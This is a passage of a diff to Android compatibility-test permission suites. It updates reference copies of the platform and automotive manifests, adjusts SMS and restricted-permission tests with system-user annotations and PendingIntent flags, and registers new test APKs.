-        <activity android:name="com.android.internal.app.AccessibilityButtonChooserActivity"
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityShortcutChooserActivity"
                   android:exported="false"
                   android:theme="@style/Theme.DeviceDefault.Dialog.Alert.DayNight"
                   android:finishOnCloseSystemDialogs="true"
@@ -5207,9 +5812,24 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityButtonChooserActivity"
+                  android:exported="false"
+                  android:theme="@style/Theme.DeviceDefault.Resolver"
+                  android:finishOnCloseSystemDialogs="true"
+                  android:excludeFromRecents="true"
+                  android:documentLaunchMode="never"
+                  android:relinquishTaskIdentity="true"
+                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                  android:process=":ui"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="com.android.internal.intent.action.CHOOSE_ACCESSIBILITY_BUTTON" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
         <activity android:name="com.android.internal.app.IntentForwarderActivity"
                 android:finishOnCloseSystemDialogs="true"
-                android:theme="@style/Theme.NoDisplay"
+                android:theme="@style/Theme.Translucent.NoTitleBar"
                 android:excludeFromRecents="true"
                 android:label="@string/user_owner_label"
                 android:exported="true"
@@ -5296,6 +5916,7 @@
         <activity android:name="com.android.internal.app.ShutdownActivity"
             android:permission="android.permission.SHUTDOWN"
             android:theme="@style/Theme.NoDisplay"
+            android:exported="true"
             android:excludeFromRecents="true">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
@@ -5317,6 +5938,7 @@
                   android:enabled="false"
                   android:process=":ui"
                   android:systemUserOnly="true"
+                  android:exported="true"
                   android:theme="@style/Theme.Translucent.NoTitleBar">
             <intent-filter android:priority="-100">
                 <action android:name="android.intent.action.MAIN" />
@@ -5329,6 +5951,7 @@
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
                 android:excludeFromRecents="true"
                 android:process=":ui"
+                android:exported="true"
                 android:theme="@style/Theme.Dialog.Confirmation">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
@@ -5351,6 +5974,7 @@
         <activity android:name="com.android.internal.app.BlockedAppActivity"
                 android:theme="@style/Theme.Dialog.Confirmation"
                 android:excludeFromRecents="true"
+                android:lockTaskMode="always"
                 android:process=":ui">
         </activity>
 
@@ -5368,6 +5992,7 @@
         </activity>
 
         <receiver android:name="com.android.server.BootReceiver"
+                android:exported="true"
                 android:systemUserOnly="true">
             <intent-filter android:priority="1000">
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
@@ -5375,6 +6000,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertPinInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_PINS" />
@@ -5383,6 +6009,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
@@ -5391,6 +6018,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
@@ -5399,6 +6027,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.NetworkWatchlistInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_NETWORK_WATCHLIST" />
@@ -5407,6 +6036,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
@@ -5415,6 +6045,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
@@ -5423,6 +6054,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CT_LOGS" />
@@ -5431,6 +6063,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.LangIdInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_LANG_ID" />
@@ -5439,6 +6072,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
+                android:exported="true"
                 android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
@@ -5447,6 +6081,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CONVERSATION_ACTIONS" />
@@ -5455,6 +6090,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_CARRIER_ID_DB" />
@@ -5463,6 +6099,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.EmergencyNumberDbInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_EMERGENCY_NUMBER_DB" />
@@ -5471,6 +6108,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
+            android:exported="true"
             android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
@@ -5487,6 +6125,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.WallpaperUpdateReceiver"
+                  android:exported="true"
                   android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
             <intent-filter>
                 <action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
@@ -5561,6 +6200,14 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
+        <service android:name="com.android.server.people.data.DataMaintenanceService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
+        <service android:name="com.android.server.profcollect.ProfcollectForwardingService$ProfcollectBGJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
         <service
                 android:name="com.android.server.autofill.AutofillCompatAccessibilityService"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
@@ -5579,12 +6226,34 @@
                  android:permission="android.permission.BIND_JOB_SERVICE">
         </service>
 
-        <service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader">
+        <service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader"
+            android:exported="false">
             <intent-filter>
-                <action android:name="android.intent.action.LOAD_DATA" />
+                <action android:name="android.intent.action.LOAD_DATA"/>
             </intent-filter>
         </service>
 
+        <!-- AOSP configures a default secondary LocationTimeZoneProvider that uses an on-device
+             data set from the com.android.geotz APEX. -->
+        <service android:name="com.android.timezone.location.provider.OfflineLocationTimeZoneProviderService"
+                 android:enabled="@bool/config_enableSecondaryLocationTimeZoneProvider"
+                 android:permission="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="android.service.timezone.SecondaryLocationTimeZoneProviderService" />
+            </intent-filter>
+            <meta-data android:name="serviceVersion" android:value="1" />
+            <meta-data android:name="serviceIsMultiuser" android:value="true" />
+        </service>
+
+        <provider
+            android:name="com.android.server.textclassifier.IconsContentProvider"
+            android:authorities="com.android.textclassifier.icons"
+            android:singleUser="true"
+            android:enabled="true"
+            android:exported="true">
+        </provider>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dd37ac9..41b34e9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -350,135 +350,125 @@
          android:label="@string/car_permission_label_set_car_vendor_category_10"
          android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
 
-    <permission
-        android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_audio_volume"
-        android:description="@string/car_permission_desc_audio_volume" />
+    <permission android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_audio_volume"
+         android:description="@string/car_permission_desc_audio_volume"/>
 
-    <permission
-        android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_audio_settings"
-        android:description="@string/car_permission_desc_audio_settings" />
+    <permission android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_audio_settings"
+         android:description="@string/car_permission_desc_audio_settings"/>
 
-    <permission
-        android:name="android.car.permission.RECEIVE_CAR_AUDIO_DUCKING_EVENTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_receive_ducking"
-        android:description="@string/car_permission_desc_receive_ducking" />
+    <permission android:name="android.car.permission.RECEIVE_CAR_AUDIO_DUCKING_EVENTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_receive_ducking"
+         android:description="@string/car_permission_desc_receive_ducking"/>
 
-    <permission
-        android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
-        android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
+    <permission android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
+         android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
 
-    <permission
-        android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_input_service"
-        android:description="@string/car_permission_desc_bind_input_service"/>
+    <permission android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_input_service"
+         android:description="@string/car_permission_desc_bind_input_service"/>
 
-    <permission
-        android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_display_in_cluster"
-        android:description="@string/car_permission_desc_car_display_in_cluster" />
+    <permission android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_display_in_cluster"
+         android:description="@string/car_permission_desc_car_display_in_cluster"/>
 
-    <permission
-        android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_cluster_control"
-        android:description="@string/car_permission_desc_car_cluster_control" />
+    <permission android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_cluster_control"
+         android:description="@string/car_permission_desc_car_cluster_control"/>
 
-    <permission
-        android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_handle_usb_aoap_device"
-        android:description="@string/car_permission_desc_car_handle_usb_aoap_device" />
+    <permission android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_handle_usb_aoap_device"
+         android:description="@string/car_permission_desc_car_handle_usb_aoap_device"/>
 
-    <permission
-        android:name="android.car.permission.CAR_UX_RESTRICTIONS_CONFIGURATION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_ux_restrictions_configuration"
-        android:description="@string/car_permission_desc_car_ux_restrictions_configuration" />
+    <permission android:name="android.car.permission.CAR_UX_RESTRICTIONS_CONFIGURATION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_ux_restrictions_configuration"
+         android:description="@string/car_permission_desc_car_ux_restrictions_configuration"/>
 
-    <permission
-        android:name="android.car.permission.STORAGE_MONITORING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_storage_monitoring"
-        android:description="@string/car_permission_desc_storage_monitoring" />
+    <permission android:name="android.car.permission.STORAGE_MONITORING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_storage_monitoring"
+         android:description="@string/car_permission_desc_storage_monitoring"/>
 
-    <permission
-        android:name="android.car.permission.CAR_ENROLL_TRUST"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_enroll_trust"
-        android:description="@string/car_permission_desc_enroll_trust" />
+    <permission android:name="android.car.permission.CAR_ENROLL_TRUST"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_enroll_trust"
+         android:description="@string/car_permission_desc_enroll_trust"/>
 
-    <permission
-        android:name="android.car.permission.CAR_TEST_SERVICE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_test_service"
-        android:description="@string/car_permission_desc_car_test_service" />
+    <permission android:name="android.car.permission.CAR_TEST_SERVICE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_test_service"
+         android:description="@string/car_permission_desc_car_test_service"/>
 
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.DEVICE_POWER" />
-    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
-    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING" />
-    <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE" />
-    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.REAL_GET_TASKS" />
-    <uses-permission android:name="android.permission.REBOOT" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
-    <uses-permission android:name="android.permission.REMOVE_TASKS" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.MANAGE_USERS" />
-    <uses-permission android:name="android.permission.LOCATION_HARDWARE" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.PROVIDE_TRUST_AGENT" />
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.DEVICE_POWER"/>
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
+    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_TASKS"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING"/>
+    <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE"/>
+    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.REAL_GET_TASKS"/>
+    <uses-permission android:name="android.permission.REBOOT"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.REMOVE_TASKS"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.MANAGE_USERS"/>
+    <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.PROVIDE_TRUST_AGENT"/>
 
     <application android:label="@string/app_title"
-                 android:directBootAware="true"
-                 android:allowBackup="false"
-                 android:persistent="true">
+         android:directBootAware="true"
+         android:allowBackup="false"
+         android:persistent="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".CarService"
-                android:singleUser="true">
+             android:singleUser="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.car.ICar" />
+                <action android:name="android.car.ICar"/>
             </intent-filter>
         </service>
-        <service android:name=".PerUserCarService" android:exported="false" />
+        <service android:name=".PerUserCarService"
+             android:exported="false"/>
 
-        <service
-            android:name="com.android.car.trust.CarBleTrustAgent"
-            android:permission="android.permission.BIND_TRUST_AGENT"
-            android:singleUser="true">
+        <service android:name="com.android.car.trust.CarBleTrustAgent"
+             android:permission="android.permission.BIND_TRUST_AGENT"
+             android:singleUser="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.trust.TrustAgentService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.trust.TrustAgentService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- Warning: the meta data must be included if the service is direct boot aware.
-                If not included, the device will crash before boot completes. Rendering the
-                device unusable. -->
+                                If not included, the device will crash before boot completes. Rendering the
+                                device unusable. -->
             <meta-data android:name="android.service.trust.trustagent"
-                       android:resource="@xml/car_trust_agent"/>
+                 android:resource="@xml/car_trust_agent"/>
         </service>
         <activity android:name="com.android.car.pm.ActivityBlockingActivity"
-                  android:excludeFromRecents="true"
-                  android:theme="@android:style/Theme.Translucent.NoTitleBar"
-                  android:exported="false"
-                  android:launchMode="singleTask">
+             android:excludeFromRecents="true"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"
+             android:exported="false"
+             android:launchMode="singleTask">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 4171c1b..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -24,6 +24,7 @@
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.telephony.SmsManager;
 import android.telephony.TelephonyManager;
 import android.test.AndroidTestCase;
@@ -35,6 +36,7 @@
  * Uses {@link android.telephony.SmsManager}.
  */
 @AppModeFull(reason = "Instant apps cannot get the SEND_SMS permission")
+@SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
 public class NoReceiveSmsPermissionTest extends AndroidTestCase {
 
     // time to wait for sms to get delivered - currently 2 minutes
@@ -109,7 +111,7 @@
         getContext().registerReceiver(receiver, filter);
 
         PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
         String message = "test message, token=" + token;
@@ -130,9 +132,9 @@
 
     private void sendSMSToSelf(String message) {
         PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         TelephonyManager telephony = (TelephonyManager)
                  getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index bb48193..35ed018 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -28,7 +28,6 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
-import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.util.ArrayMap;
 import android.util.ArraySet;
@@ -49,7 +48,6 @@
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.Date;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -267,20 +265,6 @@
             }
         }
 
-        // STOPSHIP: remove this once isolated storage is always enabled
-        if (!StorageManager.hasIsolatedStorage()) {
-            Iterator<ExpectedPermissionInfo> it = permissions.iterator();
-            while (it.hasNext()) {
-                final ExpectedPermissionInfo pi = it.next();
-                switch (pi.name) {
-                    case android.Manifest.permission.ACCESS_MEDIA_LOCATION:
-                    case android.Manifest.permission.WRITE_OBB:
-                        it.remove();
-                        break;
-                }
-            }
-        }
-
         return permissions;
     }
 
@@ -354,6 +338,9 @@
                     protectionLevel |= PermissionInfo.PROTECTION_SIGNATURE;
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
+                case "internal": {
+                    protectionLevel |= PermissionInfo.PROTECTION_INTERNAL;
+                } break;
                 case "system": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
@@ -390,9 +377,6 @@
                 case "textClassifier": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM_TEXT_CLASSIFIER;
                 } break;
-                case "wellbeing": {
-                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_WELLBEING;
-                } break;
                 case "configurator": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_CONFIGURATOR;
                 } break;
@@ -417,6 +401,12 @@
                 case "retailDemo": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_RETAIL_DEMO;
                 } break;
+                case "recents": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_RECENTS;
+                } break;
+                case "role": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_ROLE;
+                } break;
             }
         }
         return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 11e6121..2e73541 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -46,6 +46,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.util.ArraySet;
 
 import androidx.annotation.NonNull;
@@ -174,6 +175,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void testDefaultAllRestrictedPermissionsWhitelistedAtInstall22() throws Exception {
         // Install with no changes to whitelisted permissions
         runShellCommand("pm install -g --force-queryable " + APK_USES_SMS_CALL_LOG_22);
@@ -184,6 +186,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void testSomeRestrictedPermissionsWhitelistedAtInstall22() throws Exception {
         // Whitelist only these permissions.
         final Set<String> whitelistedPermissions = new ArraySet<>(2);
@@ -242,6 +245,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void testSomeRestrictedPermissionsGrantedAtInstall() throws Exception {
         // Grant only these permissions.
         final Set<String> grantedPermissions = new ArraySet<>(1);
@@ -276,6 +280,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void testAllRestrictedPermissionsGrantedAtInstall() throws Exception {
         // Install with whitelisted permissions attempting to grant.
         installRestrictedPermissionUserApp(null /*whitelistedPermissions*/,
@@ -352,6 +357,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void shareUidBetweenRestrictedAndNotRestrictedApp() throws Exception {
         runShellCommand(
                 "pm install -g --force-queryable --restrict-permissions "
@@ -408,7 +414,8 @@
 
             final Intent intent = new Intent(action);
             final IntentSender intentSender = PendingIntent.getBroadcast(getContext(),
-                    1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
+                    1, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE)
+                    .getIntentSender();
 
             // Commit as shell to avoid confirm UI
             runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
index c54a96c..76c22e4 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
+++ b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
@@ -22,6 +22,9 @@
 import android.Manifest.permission.ACTIVITY_RECOGNITION
 import android.Manifest.permission.ADD_VOICEMAIL
 import android.Manifest.permission.ANSWER_PHONE_CALLS
+import android.Manifest.permission.BLUETOOTH_ADVERTISE
+import android.Manifest.permission.BLUETOOTH_CONNECT
+import android.Manifest.permission.BLUETOOTH_SCAN
 import android.Manifest.permission.BODY_SENSORS
 import android.Manifest.permission.CALL_PHONE
 import android.Manifest.permission.CAMERA
@@ -42,6 +45,7 @@
 import android.Manifest.permission.RECORD_AUDIO
 import android.Manifest.permission.SEND_SMS
 import android.Manifest.permission.USE_SIP
+import android.Manifest.permission.UWB_RANGING;
 import android.Manifest.permission.WRITE_CALENDAR
 import android.Manifest.permission.WRITE_CALL_LOG
 import android.Manifest.permission.WRITE_CONTACTS
@@ -143,6 +147,13 @@
         // runtime permission
         expectedPerms.add(ACTIVITY_RECOGNITION)
 
+        // Add runtime permissions added in S which were _not_ split from a previously existing
+        // runtime permission
+        expectedPerms.add(BLUETOOTH_ADVERTISE)
+        expectedPerms.add(BLUETOOTH_CONNECT)
+        expectedPerms.add(BLUETOOTH_SCAN)
+        expectedPerms.add(UWB_RANGING)
+
         assertThat(expectedPerms).containsExactlyElementsIn(platformRuntimePerms.map { it.name })
     }
 }
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index c973d82..401bd07 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -26,6 +26,7 @@
     ],
     static_libs: [
         "kotlin-stdlib",
+        "androidx.core_core",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
@@ -34,13 +35,17 @@
         ":CtsPermissionPolicyApp25",
         ":CtsUsePermissionApp22",
         ":CtsUsePermissionApp22CalendarOnly",
+        ":CtsUsePermissionApp22None",
         ":CtsUsePermissionApp23",
         ":CtsUsePermissionApp25",
         ":CtsUsePermissionApp26",
         ":CtsUsePermissionApp28",
         ":CtsUsePermissionApp29",
+        ":CtsUsePermissionApp30",
+        ":CtsUsePermissionApp30WithBackground",
         ":CtsUsePermissionAppLatest",
-        ":CtsUsePermissionAppLatestWithBackground",
+        ":CtsUsePermissionAppLatestNone",
+        ":CtsUsePermissionAppLocationProvider",
         ":CtsUsePermissionAppWithOverlay",
     ],
     test_suites: [
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index cdf7308..9d5de2e 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -36,13 +36,17 @@
         <option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
         <option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
         <option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
+        <option name="push" value="CtsUsePermissionApp22None.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22None.apk" />
